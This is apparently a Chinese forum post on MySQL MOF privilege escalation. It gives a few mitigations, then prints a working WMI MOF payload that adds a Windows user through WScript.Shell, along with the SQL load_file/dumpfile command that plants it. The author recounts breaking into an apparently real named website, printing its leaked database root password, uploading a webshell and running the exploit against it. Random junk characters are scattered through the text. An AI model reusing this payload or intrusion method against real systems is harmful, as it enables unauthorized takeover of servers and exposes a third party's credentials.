Mysql mof扩展漏洞实例与防范

admin

Mysql mof扩展漏洞防范方法

网上公开的一些利用代码:

#pragma namespace(“\\\\.\\root\\subscription”)

instance of __EventFilter as $EventFilter   {   EventNamespace = “Root\\Cimv2″;   Name  = “filtP2″;   Query = “Select * From __InstanceModificationEvent ”   “Where TargetInstance Isa \”Win32_LocalTime\” ”   “And TargetInstance.Second = 5″;   QueryLanguage = “WQL”;   };   instance of ActiveScriptEventConsumer as $Consumer   {   Name = “consPCSV2″;   ScriptingEngine = “JScript”;   ScriptText =   “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”;   };   instance of __FilterToConsumerBinding   {   Consumer   = $Consumer;   Filter = $EventFilter;   };

+ q3 c$ j% j& f$ Z" W# X: N4 f

2 [7 b0 ]7 s  ?( _2 c0 H3 `6 U
2 Z+ u$ _, O; n* P8 i7 X  L
连接mysql数据库后执行： select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
从上面代码来看得出解决办法：

1、mysql用户权限控制，禁止 “load_file”、”dumpfile”等函数

8 J% H# ^7 M) N7 {+ ~# F$ v4 L' m8 g2、禁止使用”WScript.Shel”组件

3、目录权限c:/windows/system32/wbem/mof/ 删除内置特殊组CREATOR OWNER

当然上面是网上说的 感觉需要的权限很大 比如 root 还有mysql外链昨天碰到了就给大家演示下

事情是这样发生的  一机油在论坛提问我就看了下 发现已经有大牛搞下了 说是用是 mysql mof扩展提权

1 A7 a4 R5 x( P, c7 @但是小菜发现没有听过于是赶紧去查资料学习…就有了上面的来着网上的内容
# q$ S6 \% J; ~+ z3 c( [$ \" K0 W
看懂了后就开始练手吧
. M3 a7 }* ]) a1 d) r7 p5 U
http://www.webbmw.com/config/config_ucenter.php 一句话 a
/ j/ j, U/ ?6 R6 P1 l4 g. v+ U
, k1 c; h' A" Q) M/ x1 H' E$ n$_config['db']['1']['dbhost'] = ‘localhost’; $_config['db']['1']['dbuser'] = ‘root’; $_config['db']['1']['dbpw'] = ‘tfr226206′; $_config['db']['1']['dbcharset'] = ‘gbk’; $_config['db']['1']['pconnect'] = ’0′; $_config['db']['1']['dbname'] = ‘webbmw’; $_config['db']['1']['tablepre'] = ‘pre_’; $_config['db']['common']['slave_except_table'] = ”; 有root密码啊。
) I3 B6 L. c. T% {" u  I
于是直接用菜刀开搞

+ p6 P/ r/ Q8 s7 d7 Y上马先

既然有了那些账号 之类的 于是我们就执行吧…….
- Y9 W% i( ^) w  G- M' s7 J
) M* g* e0 Q5 P# v- W+ T1 N" D4 }小小的说下

% o6 V- s, d5 ?在这里第1次执行未成功        原因未知

2 j$ ^. ^# Q. }+ |/ e: ], b我就猜想是否是因为我们执行的代码有问题 于是我就去我wooyun找的代码。

#pragma namespace(“\\\\.\\root\\subscription”)
1 I4 r1 ?* O! k. x2 D# L  N8 [8 e
6 Z& W% t) J6 X$ J5 Oinstance of __EventFilter as $EventFilter   {   EventNamespace = “Root\\Cimv2″;   Name  = “filtP2″;   Query = “Select * From __InstanceModificationEvent ”   “Where TargetInstance Isa \”Win32_LocalTime\” ”   “And TargetInstance.Second = 5″;   QueryLanguage = “WQL”;   };   instance of ActiveScriptEventConsumer as $Consumer   {   Name = “consPCSV2″;   ScriptingEngine = “JScript”;   ScriptText =   “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user test test /add\”)”;   };   instance of __FilterToConsumerBinding   {   Consumer   = $Consumer;   Filter = $EventFilter;   };

2 k! m6 T" K6 ]) x* E1 F我是将文件放到C:\WINDOWS\temp\1.mof

所以我们就改下执行的代码
$ W( _1 }8 {* y# l
1 a6 W! F: A) M" aselect load_file(‘C:\WINDOWS\temp\1.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;

, `' ]: x: n" f$ f3 K% T, s
& R$ u' V6 c2 Z  K
但是 你会发现账号还是没有躺在那里。。

% ^# \+ B% j% l) f' X5 C+ s于是我就感觉蛋疼
  d- D6 W6 A! I6 u& [
& C: K9 S0 z" ]0 z# m就去一个一个去执行 但是执行到第2个 mysql时就成功了………
1 y! K+ e& r6 }% n
  i$ |. m, R3 B! N: \
, K9 A+ e5 {  q: \7 p. [) i
但是其他库均不成功…
2 @7 w9 S8 h0 o$ B' _
我就很费解呀 到底为什么不成功求大牛解答…
/ v! ]8 H5 l$ O# M
​
  ]# [/ a8 M6 R% A1 j+ _